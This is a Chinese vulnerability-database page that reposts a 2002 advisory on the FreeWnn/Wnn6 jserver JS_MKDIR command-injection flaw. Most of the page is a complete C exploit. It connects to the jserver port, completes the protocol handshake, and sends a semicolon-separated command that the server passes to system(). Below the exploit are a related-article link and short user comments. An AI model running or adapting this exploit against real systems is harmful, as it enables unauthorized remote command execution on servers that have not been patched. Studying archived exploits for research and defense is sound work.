FreeWnn 1.1 0 – jserver JS_MKDIR MetaCharacter Command Execution
漏洞ID | 1053562 | 漏洞类型 | |
发布时间 | 2002-01-11 | 更新时间 | 2002-01-11 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Unix | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/3860/info
FreeWnn 1.1.0 is a kana-kanji (japanese) translation system. This software is a client-server type application, with the jserver portion acting as a server and performing translations for clients. The jserver component passes unsanitized input from the client via the JS_MKDIR command to a system() libcall, allowing arbitrary command execution with the semi-colon ";" command separation metacharacter. Commands sent in this manner will be executed at the privilege level of the jserver process.
/*=========================================================================
Wnn6 Exploit (tested on IRIX6.5 WorldView Janapese)
The Shadow Penguin Security (http://www.shadowpenguin.org)
Written by UNYUN ([email protected])
=========================================================================
*/
#include <stdio.h>
#include <netdb.h>
#include <fcntl.h>
#include <ctype.h>
#include <unistd.h>
#include <strings.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#define TARGET_PORT 22273
int dump_recv(int sockfd)
{
static char buf[4096];
int i,r,sum=0;
r=recv(sockfd,buf,sizeof(buf),0);
for (i=0;i<r;i++){
printf("0x%02X ",buf[i]&0xff);
sum+=(int)buf[i];
}
printf("n");
return(sum);
}
main(int argc,char *argv[])
{
int sockfd,i;
struct sockaddr_in target;
struct hostent *hs;
static char buf[512];
static char mkdircmd[4096];
char hostname[4096];
char username[4096];
if (argc<3){
printf("usage : %s TargetHost command {hostname} {username}n",argv[0]);
exit(1);
}
strcpy(hostname,"localhost");
strcpy(username,"root");
if (argc>=5)
strcpy(username,argv[4]);
if (argc>=4)
strcpy(hostname,argv[3]);
sockfd=socket(PF_INET, SOCK_STREAM, 0);
target.sin_family=AF_INET;
target.sin_port=htons(TARGET_PORT);
if ((target.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.n");
exit(1);
}
target.sin_family = hs->h_addrtype;
memcpy((caddr_t)&target.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if (connect(sockfd, (struct sockaddr*)&target, sizeof(target))!=0){
printf("Can not connect to %s:%dn",argv[1],TARGET_PORT);
exit(1);
}
/* JS_OPEN */
buf[3]=1;
buf[6]=0x4f;
strncpy(buf+8,hostname,strlen(hostname));
strncpy(buf+9+strlen(hostname),username,strlen(username));
send(sockfd,buf,10+strlen(hostname)+strlen(username),0);
dump_recv(sockfd);
/* JS_ENV_EXIST */
memset(buf,0,sizeof(buf));
buf[3]=0x07;
strncpy(buf+4,username,strlen(username));
send(sockfd,buf,5+strlen(username),0);
dump_recv(sockfd);
/* JS_CONNECT */
memset(buf,0,sizeof(buf));
buf[3]=0x05;
strncpy(buf+4,username,strlen(username));
send(sockfd,buf,5+strlen(username),0);
dump_recv(sockfd);
/* JS_MKDIR */
sprintf(mkdircmd,"a;%s",argv[2]);
memset(buf,0,sizeof(buf));
buf[3]=0x51;
strncpy(buf+8,mkdircmd,strlen(mkdircmd));
send(sockfd,buf,8+strlen(mkdircmd)+1,0);
dump_recv(sockfd);
close(sockfd);
}
相关推荐: FTGate Directory Traversal Vulnerability
FTGate Directory Traversal Vulnerability 漏洞ID 1104509 漏洞类型 Input Validation Error 发布时间 1999-11-04 更新时间 1999-11-04 CVE编号 N/A CNNVD-…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666